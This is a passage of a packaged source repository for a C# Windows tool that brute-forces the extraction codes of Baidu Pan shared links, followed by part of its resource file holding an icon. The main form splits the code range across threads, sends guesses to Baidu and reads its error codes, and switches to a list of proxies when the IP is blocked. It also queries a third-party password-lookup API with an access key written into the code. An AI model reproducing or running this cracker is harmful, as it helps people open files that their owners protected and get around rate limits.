text_url.Text + \"∆\" + text_xczs.Text + \"∆\" + text_zxsd.Text;\r\n                        File.Delete(StaticClass.config);\r\n                        File.AppendAllText(StaticClass.config, Configuration);\r\n                    }\r\n                }\r\n\r\n                #endregion 生成配置文件\r\n\r\n                //打开启动按钮\r\n                btn_status.Enabled = true;\r\n            }\r\n        }\r\n\r\n        /// <summary>\r\n        /// 启动或停止\r\n        /// </summary>\r\n        private void btn_status_Click(object sender, EventArgs e)\r\n        {\r\n            if (!cB_mxwxz.Checked) { MessageBox.Show(\"请使用 MXWXZ 提供的方案\"); return; }\r\n            if (btn_status.Text == \"停止\")\r\n            {\r\n                btn_status.Text = \"启动\";\r\n                btn_status.Enabled = false;\r\n                StaticClass.status = true;\r\n            }\r\n            else\r\n            {\r\n                //把分享地址赋值给静态变量\r\n                StaticClass.url = text_url.Text;\r\n                //设置线程默认状态给静态变量\r\n                StaticClass.status = false;\r\n\r\n                #region 基本的线程\r\n\r\n                int xczs = Convert.ToInt32(text_xczs.Text);//线程总数\r\n                int zxsd = Convert.ToInt32(text_zxsd.Text);//线程速度\r\n                int start = Hash.StrTo4Hash(text_ksd.Text);//起始值\r\n                int end = Hash.StrTo4Hash(text_jsd.Text);//结束值\r\n                int total = end - start + 1;//尝试的总数\r\n                int section = total / xczs;//线程的次数\r\n\r\n                #endregion 基本的线程\r\n\r\n                #region 预防(防止)线程的总数大于尝试的总数\r\n\r\n                if (xczs > total)\r\n                {\r\n                    MessageBox.Show(\"小伙子又想让程序出BUG吗？\");\r\n                    MessageBox.Show(\"检测到线程的总数大于尝试的总数\");\r\n                    return;\r\n                }\r\n\r\n                #endregion 预防(防止)线程的总数大于尝试的总数\r\n\r\n                #region 标识程序已经启动\r\n\r\n                btn_status.Text = \"停止\";\r\n\r\n                #endregion 标识程序已经启动\r\n\r\n                #region 创建线程\r\n\r\n                for (int i = 1; i <= xczs; i++)\r\n                {\r\n                    int _start = start + section * (i - 1);//一条线程的开始值\r\n                    int _end = start + section * i;//一条线程的结束值\r\n\r\n                    new HttpThread(this, i.ToString(), _start, _end, zxsd).Start();\r\n                }\r\n\r\n                #endregion 创建线程\r\n            }\r\n        }\r\n\r\n        /// <summary>\r\n        /// 联网查密(用到互联网搜索功能)\r\n        /// </summary>\r\n        private void btn_net_Click(object sender, EventArgs e)\r\n        {\r\n            if (!cB_ypsuperkey.Checked) { MessageBox.Show(\"请使用 云盘万能钥匙 提供的方案\"); return; }\r\n            if (text_url.Text.Trim() == \"\" || !text_url.Text.Contains(\"pan.baidu\")) { MessageBox.Show(\"请输入百度云盘链接\"); return; }\r\n\r\n            MessageBox.Show(\"本服务由 云盘万能钥匙(www.ypsuperkey.com)提供，本人仅是使用提供的接口\");\r\n\r\n            string info = text_url.Text.Replace(\"https\", \"\").Replace(\"http\", \"\").Replace(\"://pan.baidu.com/\", \"\").Replace(\"share/init?surl=\", \"\").Replace(\"s/1\", \"\");\r\n            string url = \"https://www.ypsuperkey.com/api/items/BDY-\" + info + \"?access_key=4fxNbkKKJX2pAm3b8AEu2zT5d2MbqGbD&client_version=zg\";\r\n            string data = StaticClass.HttpGet(url);//请求并获得返回数据\r\n            data = \"密码为\" + Regex.Match(data, \"\\\"access_code\\\":\\\".+?\\\"\").Value.ToString().Replace(\"\\\"\", \"\").Replace(\"access_code:\", \"\");\r\n            if (data == \"密码为\") data = \"还是老老实实暴密码吧\";\r\n            MessageBox.Show(data, \"提示\");\r\n        }\r\n\r\n        #region 委托进行显示数据\r\n\r\n        private delegate void Modifystr(string str1, string str2);\r\n\r\n        public void ModifyStr(string str1, string str2)\r\n        {\r\n            if (InvokeRequired)\r\n            {\r\n                Modifystr stcb = new Modifystr(ModifyStr);\r\n                Invoke(stcb, new object[] { str1, str2 });\r\n            }\r\n            else\r\n            {\r\n                txt_ts.Text = str1 + \"》正在尝试：\" + str2;//显示点啥\r\n                File.AppendAllText(StaticClass.file + \"/logs.ini\", txt_ts.Text + \"\\r\\n\");//输出日志\r\n                if (str1.Contains(\"\\\"errno\\\":0\"))//密码正常\r\n                {\r\n                    StaticClass.status = true;\r\n                    btn_status.Text = \"启动\";\r\n                    MessageBox.Show(\"密码是：\" + str2);\r\n                }\r\n                else if (str1.Contains(\"\\\"errno\\\":-9\"))//密码错误\r\n                {\r\n                }\r\n                else if (str1.Contains(\"\\\"errno\\\":-62\"))//要输入验证码\r\n                {\r\n                }\r\n                else//拒绝访问、未知错误\r\n                {\r\n                    if (!StaticClass.status)\r\n                    {\r\n                        StaticClass.status = true;\r\n                        btn_status.Text = \"启动\";\r\n                        if (cB_ktwo.Checked)\r\n                        {\r\n                            #region 利用代理服务重新跑\r\n\r\n                            try\r\n                            {\r\n                                HttpProxy httpProxy = new HttpProxy();\r\n                                if (httpProxy.startUp())\r\n                                {\r\n                                    btn_status.PerformClick();\r\n                                }\r\n                                else\r\n                                {\r\n                                    MessageBox.Show(\"代理服务无法启动，请检查解决方案下是否放置 proxy.ini 文件\");\r\n                                }\r\n                            }\r\n                            catch { }\r\n\r\n                            #endregion 利用代理服务重新跑\r\n                        }\r\n                        else\r\n                        {\r\n                            MessageBox.Show(\"你的IP被拒绝访问，请稍后重试\");\r\n                        }\r\n                    }\r\n                }\r\n            }\r\n        }\r\n\r\n        #endregion 委托进行显示数据\r\n\r\n        #region 浏览器预览网页\r\n\r\n        /// <summary>\r\n        /// 跳转到开源页\r\n        /// </summary>\r\n        private void txt_ts_Click(object sender, EventArgs e)\r\n        {\r\n            try { System.Diagnostics.Process.Start(\"https://github.com/zgcwkj/TestBaiduPassword\"); } catch { }\r\n        }\r\n\r\n        #endregion 浏览器预览网页\r\n\r\n        #region 检验常规数据\r\n\r\n        /// <summary>\r\n        /// 限制输入\r\n        /// </summary>\r\n        private void _KeyPress(object sender, KeyPressEventArgs e)\r\n        {\r\n            if ((Keys)e.KeyChar >= Keys.D0 && (Keys)e.KeyChar <= Keys.D9 || (Keys)e.KeyChar == Keys.Back) { } else e.Handled = true;\r\n        }\r\n\r\n        /// <summary>\r\n        /// 验证代理IP的文件是否正常\r\n        /// </summary>\r\n        private void cB_ktwo_CheckedChanged(object sender, EventArgs e)\r\n        {\r\n            if (cB_ktwo.Checked)\r\n            {\r\n                if (StaticClass.proxy == null)\r\n                {\r\n                    MessageBox.Show(\"请先 选择解决方案\");\r\n                    cB_ktwo.Checked = false;\r\n                    return;\r\n                }\r\n                if (!File.Exists(StaticClass.proxy))\r\n                {\r\n                    MessageBox.Show(\"很抱歉，我们检测到\" + StaticClass.proxy + \"文件不存在，请你手动添加\");\r\n                    cB_ktwo.Checked = false;\r\n                    return;\r\n                }\r\n                if (File.ReadAllText(StaticClass.proxy) != \"\" || File.ReadAllText(StaticClass.proxy) != \"\\r\\n\")\r\n                {\r\n                    MessageBox.Show(\"很抱歉，我们检测到\" + StaticClass.proxy + \"文件的内容为空\");\r\n                    MessageBox.Show(\"文件内容格式为 IP:端号 回车，以此类推\");\r\n                    cB_ktwo.Checked = false;\r\n                    return;\r\n                }\r\n            }\r\n        }\r\n\r\n        #endregion 检验常规数据\r\n\r\n        #region 退出程序\r\n\r\n        private void Main_FormClosed(object sender, FormClosedEventArgs e)\r\n        {\r\n            StaticClass.status = false;\r\n            new HttpProxy().SwitchOff();\r\n        }\r\n\r\n        #endregion 退出程序\r\n    }\r\n}"
  },
  {
    "path": "TestPassword V1.8.0.6/TestPassword/Main.resx",
    "content": "﻿<?xml version=\"1.0\" encoding=\"utf-8\"?>\r\n<root>\r\n  <!-- \r\n    Microsoft ResX Schema \r\n    \r\n    Version 2.0\r\n    \r\n    The primary goals of this format is to allow a simple XML format \r\n    that is mostly human readable. The generation and parsing of the \r\n    various data types are done through the TypeConverter classes \r\n    associated with the data types.\r\n    \r\n    Example:\r\n    \r\n    ... ado.net/XML headers & schema ...\r\n    <resheader name=\"resmimetype\">text/microsoft-resx</resheader>\r\n    <resheader name=\"version\">2.0</resheader>\r\n    <resheader name=\"reader\">System.Resources.ResXResourceReader, System.Windows.Forms, ...</resheader>\r\n    <resheader name=\"writer\">System.Resources.ResXResourceWriter, System.Windows.Forms, ...</resheader>\r\n    <data name=\"Name1\"><value>this is my long string</value><comment>this is a comment</comment></data>\r\n    <data name=\"Color1\" type=\"System.Drawing.Color, System.Drawing\">Blue</data>\r\n    <data name=\"Bitmap1\" mimetype=\"application/x-microsoft.net.object.binary.base64\">\r\n        <value>[base64 mime encoded serialized .NET Framework object]</value>\r\n    </data>\r\n    <data name=\"Icon1\" type=\"System.Drawing.Icon, System.Drawing\" mimetype=\"application/x-microsoft.net.object.bytearray.base64\">\r\n        <value>[base64 mime encoded string representing a byte array form of the .NET Framework object]</value>\r\n        <comment>This is a comment</comment>\r\n    </data>\r\n                \r\n    There are any number of \"resheader\" rows that contain simple \r\n    name/value pairs.\r\n    \r\n    Each data row contains a name, and value. The row also contains a \r\n    type or mimetype. Type corresponds to a .NET class that support \r\n    text/value conversion through the TypeConverter architecture. \r\n    Classes that don't support this are serialized and stored with the \r\n    mimetype set.\r\n    \r\n    The mimetype is used for serialized objects, and tells the \r\n    ResXResourceReader how to depersist the object. This is currently not \r\n    extensible. For a given mimetype the value must be set accordingly:\r\n    \r\n    Note - application/x-microsoft.net.object.binary.base64 is the format \r\n    that the ResXResourceWriter will generate, however the reader can \r\n    read any of the formats listed below.\r\n    \r\n    mimetype: application/x-microsoft.net.object.binary.base64\r\n    value   : The object must be serialized with \r\n            : System.Runtime.Serialization.Formatters.Binary.BinaryFormatter\r\n            : and then encoded with base64 encoding.\r\n    \r\n    mimetype: application/x-microsoft.net.object.soap.base64\r\n    value   : The object must be serialized with \r\n            : System.Runtime.Serialization.Formatters.Soap.SoapFormatter\r\n            : and then encoded with base64 encoding.\r\n\r\n    mimetype: application/x-microsoft.net.object.bytearray.base64\r\n    value   : The object must be serialized into a byte array \r\n            : using a System.ComponentModel.TypeConverter\r\n            : and then encoded with base64 encoding.\r\n    -->\r\n  <xsd:schema id=\"root\" xmlns=\"\" xmlns:xsd=\"http://www.w3.org/2001/XMLSchema\" xmlns:msdata=\"urn:schemas-microsoft-com:xml-msdata\">\r\n    <xsd:import namespace=\"http://www.w3.org/XML/1998/namespace\" />\r\n    <xsd:element name=\"root\" msdata:IsDataSet=\"true\">\r\n      <xsd:complexType>\r\n        <xsd:choice maxOccurs=\"unbounded\">\r\n          <xsd:element name=\"metadata\">\r\n            <xsd:complexType>\r\n              <xsd:sequence>\r\n                <xsd:element name=\"value\" type=\"xsd:string\" minOccurs=\"0\" />\r\n              </xsd:sequence>\r\n              <xsd:attribute name=\"name\" use=\"required\" type=\"xsd:string\" />\r\n              <xsd:attribute name=\"type\" type=\"xsd:string\" />\r\n              <xsd:attribute name=\"mimetype\" type=\"xsd:string\" />\r\n              <xsd:attribute ref=\"xml:space\" />\r\n            </xsd:complexType>\r\n          </xsd:element>\r\n          <xsd:element name=\"assembly\">\r\n            <xsd:complexType>\r\n              <xsd:attribute name=\"alias\" type=\"xsd:string\" />\r\n              <xsd:attribute name=\"name\" type=\"xsd:string\" />\r\n            </xsd:complexType>\r\n          </xsd:element>\r\n          <xsd:element name=\"data\">\r\n            <xsd:complexType>\r\n              <xsd:sequence>\r\n                <xsd:element name=\"value\" type=\"xsd:string\" minOccurs=\"0\" msdata:Ordinal=\"1\" />\r\n                <xsd:element name=\"comment\" type=\"xsd:string\" minOccurs=\"0\" msdata:Ordinal=\"2\" />\r\n              </xsd:sequence>\r\n              <xsd:attribute name=\"name\" type=\"xsd:string\" use=\"required\" msdata:Ordinal=\"1\" />\r\n              <xsd:attribute name=\"type\" type=\"xsd:string\" msdata:Ordinal=\"3\" />\r\n              <xsd:attribute name=\"mimetype\" type=\"xsd:string\" msdata:Ordinal=\"4\" />\r\n              <xsd:attribute ref=\"xml:space\" />\r\n            </xsd:complexType>\r\n          </xsd:element>\r\n          <xsd:element name=\"resheader\">\r\n            <xsd:complexType>\r\n              <xsd:sequence>\r\n                <xsd:element name=\"value\" type=\"xsd:string\" minOccurs=\"0\" msdata:Ordinal=\"1\" />\r\n              </xsd:sequence>\r\n              <xsd:attribute name=\"name\" type=\"xsd:string\" use=\"required\" />\r\n            </xsd:complexType>\r\n          </xsd:element>\r\n        </xsd:choice>\r\n      </xsd:complexType>\r\n    </xsd:element>\r\n  </xsd:schema>\r\n  <resheader name=\"resmimetype\">\r\n    <value>text/microsoft-resx</value>\r\n  </resheader>\r\n  <resheader name=\"version\">\r\n    <value>2.0</value>\r\n  </resheader>\r\n  <resheader name=\"reader\">\r\n    <value>System.Resources.ResXResourceReader, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089</value>\r\n  </resheader>\r\n  <resheader name=\"writer\">\r\n    <value>System.Resources.ResXResourceWriter, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089</value>\r\n  </resheader>\r\n  <metadata name=\"fBD.TrayLocation\" type=\"System.Drawing.Point, System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a\">\r\n    <value>17, 17</value>\r\n  </metadata>\r\n  <metadata name=\"$this.TrayHeight\" type=\"System.Int32, mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089\">\r\n    <value>33</value>\r\n  </metadata>\r\n  <assembly alias=\"System.Drawing\" name=\"System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a\" />\r\n  <data name=\"$this.Icon\" type=\"System.Drawing.Icon, System.Drawing\" mimetype=\"application/x-microsoft.net.object.bytearray.base64\">\r\n    <value>\r\n        AAABAAEAAAAAAAEAIADXfQAAFgAAAIlQTkcNChoKAAAADUlIRFIAAAEAAAABAAgGAAAAXHKoZgAAAAlw\r\n        SFlzAAALEwAACxMBAJqcGAAAOe5pVFh0WE1MOmNvbS5hZG9iZS54bXAAAAAAADw/eHBhY2tldCBiZWdp\r\n        bj0i77u/IiBpZD0iVzVNME1wQ2VoaUh6cmVTek5UY3prYzlkIj8+Cjx4OnhtcG1ldGEgeG1sbnM6eD0i\r\n        YWRvYmU6bnM6bWV0YS8iIHg6eG1wdGs9IkFkb2JlIFhNUCBDb3JlIDUuNi1jMTM4IDc5LjE1OTgyNCwg\r\n        MjAxNi8wOS8xNC0wMTowOTowMSAgICAgICAgIj4KICAgPHJkZjpSREYgeG1sbnM6cmRmPSJodHRwOi8v\r\n        d3d3LnczLm9yZy8xOTk5LzAyLzIyLXJkZi1zeW50YXgtbnMjIj4KICAgICAgPHJkZjpEZXNjcmlwdGlv\r\n        biByZGY6YWJvdXQ9IiIKICAgICAgICAgICAgeG1sbnM6eG1wPSJodHRwOi8vbnMuYWRvYmUuY29tL3hh\r\n        cC8xLjAvIgogICAgICAgICAgICB4bWxuczpkYz0iaHR0cDovL3B1cmwub3JnL2RjL2VsZW1lbnRzLzEu\r\n        MS8iCiAgICAgICAgICAgIHhtbG5zOnBob3Rvc2hvcD0iaHR0cDovL25zLmFkb2JlLmNvbS9waG90b3No\r\n        b3AvMS4wLyIKICAgICAgICAgICAgeG1sbnM6eG1wTU09Imh0dHA6Ly9ucy5hZG9iZS5jb20veGFwLzEu\r\n        MC9tbS8iCiAgICAgICAgICAgIHhtbG5zOnN0RXZ0PSJodHRwOi8vbnMuYWRvYmUuY29tL3hhcC8xLjAv\r\n        c1R5cGUvUmVzb3VyY2VFdmVudCMiCiAgICAgICAgICAgIHhtbG5zOnRpZmY9Imh0dHA6Ly9ucy5hZG9i\r\n        ZS5jb20vdGlmZi8xLjAvIgogICAgICAgICAgICB4bWxuczpleGlmPSJodHRwOi8vbnMuYWRvYmUuY29t\r\n        L2V4aWYvMS4wLyI+CiAgICAgICAgIDx4bXA6Q3JlYXRvclRvb2w+QWRvYmUgUGhvdG9zaG9wIENDIDIw\r\n        MTcgKFdpbmRvd3MpPC94bXA6Q3JlYXRvclRvb2w+CiAgICAgICAgIDx4bXA6Q3JlYXRlRGF0ZT4yMDE3\r\n        LTEyLTI4VDExOjE4OjI5KzA4OjAwPC94bXA6Q3JlYXRlRGF0ZT4KICAgICAgICAgPHhtcDpNb2RpZnlE\r\n        YXRlPjIwMTctMTItMjhUMTE6MjI6MTYrMDg6MDA8L3htcDpNb2RpZnlEYXRlPgogICAgICAgICA8eG1w\r\n        Ok1ldGFkYXRhRGF0ZT4yMDE3LTEyLTI4VDExOjIyOjE2KzA4OjAwPC94bXA6TWV0YWRhdGFEYXRlPgog\r\n        ICAgICAgICA8ZGM6Zm9ybWF0PmltYWdlL3BuZzwvZGM6Zm9ybWF0PgogICAgICAgICA8cGhvdG9zaG9w\r\n        OkNvbG9yTW9kZT4zPC9waG90b3Nob3A6Q29sb3JNb2RlPgogICAgICAgICA8eG1wTU06SW5zdGFuY2VJ\r\n        RD54bXAuaWlkOjA5MjQ3MDk1LWVkMTItZjg0NS04OWU1LWQwYjg5YmFkNTMyMDwveG1wTU06SW5zdGFu\r\n        Y2VJRD4KICAgICAgICAgPHhtcE1NOkRvY3VtZW50SUQ+YWRvYmU6ZG9jaWQ6cGhvdG9zaG9wOjQyYTRl\r\n        YzRkLWViN2UtMTFlNy04MjNjLWRkYjI5ZTNjOGY5YTwveG1wTU06RG9jdW1lbnRJRD4KICAgICAgICAg\r\n        PHhtcE1NOk9yaWdpbmFsRG9jdW1lbnRJRD54bXAuZGlkOjY2MTA3MzA5LWJhZmYtMzE0ZC1iNTU3LWUw\r\n        MTVlMWQyYjYzMzwveG1wTU06T3JpZ2luYWxEb2N1bWVudElEPgogICAgICAgICA8eG1wTU06SGlzdG9y\r\n        eT4KICAgICAgICAgICAgPHJkZjpTZXE+CiAgICAgICAgICAgICAgIDxyZGY6bGkgcmRmOnBhcnNlVHlw\r\n        ZT0iUmVzb3VyY2UiPgogICAgICAgICAgICAgICAgICA8c3RFdnQ6YWN0aW9uPmNyZWF0ZWQ8L3N0RXZ0\r\n        OmFjdGlvbj4KICAgICAgICAgICAgICAgICAgPHN0RXZ0Omluc3RhbmNlSUQ+eG1wLmlpZDo2NjEwNzMw\r\n        OS1iYWZmLTMxNGQtYjU1Ny1lMDE1ZTFkMmI2MzM8L3N0RXZ0Omluc3RhbmNlSUQ+CiAgICAgICAgICAg\r\n        ICAgICAgIDxzdEV2dDp3aGVuPjIwMTctMTItMjhUMTE6MTg6MjkrMDg6MDA8L3N0RXZ0OndoZW4+CiAg\r\n        ICAgICAgICAgICAgICAgIDxzdEV2dDpzb2Z0d2FyZUFnZW50PkFkb2JlIFBob3Rvc2hvcCBDQyAyMDE3\r\n        IChXaW5kb3dzKTwvc3RFdnQ6c29mdHdhcmVBZ2VudD4KICAgICAgICAgICAgICAgPC9yZGY6bGk+CiAg\r\n        ICAgICAgICAgICAgIDxyZGY6bGkgcmRmOnBhcnNlVHlwZT0iUmVzb3VyY2UiPgogICAgICAgICAgICAg\r\n        ICAgICA8c3RFdnQ6YWN0aW9uPnNhdmVkPC9zdEV2dDphY3Rpb24+CiAgICAgICAgICAgICAgICAgIDxz\r\n        dEV2dDppbnN0YW5jZUlEPnhtcC5paWQ6MDkyNDcwOTUtZWQxMi1mODQ1LTg5ZTUtZDBiODliYWQ1MzIw\r\n        PC9zdEV2dDppbnN0YW5jZUlEPgogICAgICAgICAgICAgICAgICA8c3RFdnQ6d2hlbj4yMDE3LTEyLTI4\r\n        VDExOjIyOjE2KzA4OjAwPC9zdEV2dDp3aGVuPgogICAgICAgICAgICAgICAgICA8c3RFdnQ6c29mdHdh\r\n        cmVBZ2VudD5BZG9iZSBQaG90b3Nob3AgQ0MgMjAxNyAoV2luZG93cyk8L3N0RXZ0OnNvZnR3YXJlQWdl\r\n        bnQ+CiAgICAgICAgICAgICAgICAgIDxzdEV2dDpjaGFuZ2VkPi88L3N0RXZ0OmNoYW5nZWQ+CiAgICAg\r\n        ICAgICAgICAgIDwvcmRmOmxpPgogICAgICAgICAgICA8L3JkZjpTZXE+CiAgICAgICAgIDwveG1wTU06\r\n        SGlzdG9yeT4KICAgICAgICAgPHRpZmY6T3JpZW50YXRpb24+MTwvdGlmZjpPcmllbnRhdGlvbj4KICAg\r\n        ICAgICAgPHRpZmY6WFJlc29sdXRpb24+NzIwMDAwLzEwMDAwPC90aWZmOlhSZXNvbHV0aW9uPgogICAg\r\n        ICAgICA8dGlmZjpZUmVzb2x1dGlvbj43MjAwMDAvMTAwMDA8L3RpZmY6WVJlc29sdXRpb24+CiAgICAg\r\n        ICAgIDx0aWZmOlJlc29sdXRpb25Vbml0PjI8L3RpZmY6UmVzb2x1dGlvblVuaXQ+CiAgICAgICAgIDxl\r\n        eGlmOkNvbG9yU3BhY2U+NjU1MzU8L2V4aWY6Q29sb3JTcGFjZT4KICAgICAgICAgPGV4aWY6UGl4ZWxY\r\n        RGltZW5zaW9uPjI1NjwvZXhpZjpQaXhlbFhEaW1lbnNpb24+CiAgICAgICAgIDxleGlmOlBpeGVsWURp\r\n        bWVuc2lvbj4yNTY8L2V4aWY6UGl4ZWxZRGltZW5zaW9uPgogICAgICA8L3JkZjpEZXNjcmlwdGlvbj4K\r\n        ICAgPC9yZGY6UkRGPgo8L3g6eG1wbWV0YT4KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg\r\n        ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg\r\n        ICAgICAgIAogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg\r\n        ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgCiAgICAgICAgICAg\r\n        ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg\r\n        ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg\r\n        ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg\r\n        ICAgICAgICAgIAogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg\r\n        ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgCiAgICAgICAg\r\n        ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg\r\n        ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAKICAgICAgICAgICAgICAgICAgICAgICAgICAg\r\n        ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg\r\n        ICAgICAgICAgICAgIAogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg\r\n        ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgCiAgICAg\r\n        ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg\r\n        ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAKICAgICAgICAgICAgICAgICAgICAgICAg\r\n        ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg\r\n        ICAgICAgICAgICAgICAgIAogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg\r\n        ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgCiAg\r\n        ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg\r\n        ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAKICAgICAgICAgICAgICAgICAgICAg\r\n        ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg\r\n        ICAgICAgICAgICAgICAgICAgIAogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg\r\n        ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg\r\n        CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg\r\n        ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAKICAgICAgICAgICAgICAgICAg\r\n        ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg\r\n        ICAgICAgICAgICAgICAgICAgICAgIAogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg\r\n        ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg\r\n        ICAgCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg\r\n        ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAKICAgICAgICAgICAgICAg\r\n        ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg\r\n        ICAgICAgICAgICAgICAgICAgICAgICAgIAogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg\r\n        ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg\r\n        ICAgICAgCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg\r\n        ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAKICAgICAgICAgICAg\r\n        ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg\r\n        ICAgICAgICAgICAgICAgICAgICAgICAgICAgIAogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg\r\n        ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg\r\n        ICAgICAgICAgCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg\r\n        ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAKICAgICAgICAg\r\n        ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg\r\n        ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIAogICAgICAgICAgICAgICAgICAgICAgICAgICAg\r\n        ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg\r\n        ICAgICAgICAgICAgCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg\r\n        ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAKICAgICAg\r\n        ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg\r\n        ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIAogICAgICAgICAgICAgICAgICAgICAgICAg\r\n        ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg\r\n        ICAgICAgICAgICAgICAgCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg\r\n        ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAKICAg\r\n        ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg\r\n        ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIAogICAgICAgICAgICAgICAgICAgICAg\r\n        ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg\r\n        ICAgICAgICAgICAgICAgICAgCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg\r\n        ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAK\r\n        ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg\r\n        ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIAogICAgICAgICAgICAgICAgICAg\r\n        ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg\r\n        ICAgICAgICAgICAgICAgICAgICAgCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg\r\n        ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg\r\n        ICAKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg\r\n        ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIAogICAgICAgICAgICAgICAg\r\n        ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg\r\n        ICAgICAgICAgICAgICAgICAgICAgICAgCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg\r\n        